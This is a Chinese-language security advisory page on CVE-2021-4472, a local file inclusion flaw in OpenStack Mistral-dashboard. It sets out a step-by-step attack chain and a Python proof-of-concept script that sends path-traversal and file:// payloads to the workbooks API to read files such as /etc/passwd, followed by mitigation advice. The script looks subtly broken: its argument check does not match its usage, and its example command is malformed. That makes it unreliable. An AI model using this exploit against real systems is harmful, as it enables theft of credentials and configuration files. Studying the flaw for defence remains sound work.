IPBUF安全漏洞报告
English
CVE-2021-4472 CVSS 6.5 中危

CVE-2021-4472 OpenStack Mistral-dashboard本地文件包含漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2021-4472
漏洞类型
本地文件包含(LFI)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Mistral-dashboard

相关标签

本地文件包含LFIOpenStackMistralMistral-dashboard路径遍历信息泄露RedHat云计算CVE-2021-4472

漏洞概述

CVE-2021-4472是OpenStack Mistral-dashboard插件中的一个中等严重性安全漏洞,CVSS评分6.5。该漏洞存在于mistral-dashboard的"Create Workbook"功能中,允许经过身份验证的低权限用户通过特制请求读取服务器上的任意本地文件内容。攻击者可利用此漏洞获取敏感信息,如配置文件、凭据、密钥等系统文件,从而进一步提升权限或执行其他攻击。此漏洞影响OpenStack云计算平台的Mistral工作流服务组件,由于Mistral-dashboard是Horizon仪表板的插件,因此通过Web界面即可触发该漏洞。

技术细节

该本地文件包含漏洞源于mistral-dashboard在处理"Create Workbook"功能时对用户输入的文件路径验证不充分。攻击者可以通过构造特殊的HTTP请求,在Workbook创建参数中注入文件路径遍历序列(如../),使应用程序包含服务器上的任意文件。漏洞主要影响处理文件导入的视图函数,攻击者无需高权限即可利用,只需拥有项目级别的访问权限即可。成功利用后,服务器会将目标文件内容作为Workbook数据处理,导致敏感文件内容在响应中返回。攻击者通常利用此漏洞读取/etc/passwd、配置文件、环境变量文件等敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获取OpenStack项目的低权限用户凭据(Project-level access)
STEP 2
步骤2
访问Mistral-dashboard的"Create Workbook"功能界面
STEP 3
步骤3
构造包含路径遍历序列(如../../../../etc/passwd)的恶意请求
STEP 4
步骤4
发送特制HTTP POST请求到/workbooks端点,注入文件路径
STEP 5
步骤5
服务器解析请求时将目标文件内容作为Workbook定义包含
STEP 6
步骤6
敏感文件内容(如/etc/passwd、配置文件等)在响应中返回
STEP 7
步骤7
攻击者获取敏感信息后可进行横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-4472 PoC - Local File Inclusion in OpenStack Mistral-dashboard # Target: OpenStack Mistral-dashboard 'Create Workbook' feature def exploit_lfi(target_url, token, file_path): """ Exploit Local File Inclusion vulnerability in mistral-dashboard """ headers = { 'X-Auth-Token': token, 'Content-Type': 'application/json' } # Malicious payload with path traversal payload = { 'name': 'test_workbook', 'definition': f'file://{file_path}' # Path traversal payload } endpoint = f'{target_url}/api/mistral/workbooks' try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] Successfully read file: {file_path}') print(response.text) return True else: print(f'[-] Failed with status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve-2021-4472.py <target_url> <token> <file_path>') print('Example: python cve-2021-4472.py https://openstack.example.com/token/etc/passwd') sys.exit(1) target = sys.argv[1] token = sys.argv[2] file_path = '../../../' + sys.argv[3] # Path traversal exploit_lfi(target, token, file_path)

影响范围

OpenStack Mistral-dashboard < 修复版本
OpenStack python-mistralclient < 修复版本

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时措施:1) 限制Mistral-dashboard的访问权限,仅允许受信任的管理员访问;2) 在Web应用防火墙(WAF)层面添加规则,检测并阻止包含路径遍历特征(../、..\)的请求;3) 监控Mistral服务的日志,查找异常的文件包含请求模式;4) 考虑临时禁用Workbook创建功能,直到补丁应用;5) 实施网络隔离,限制对OpenStack API端点的非授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表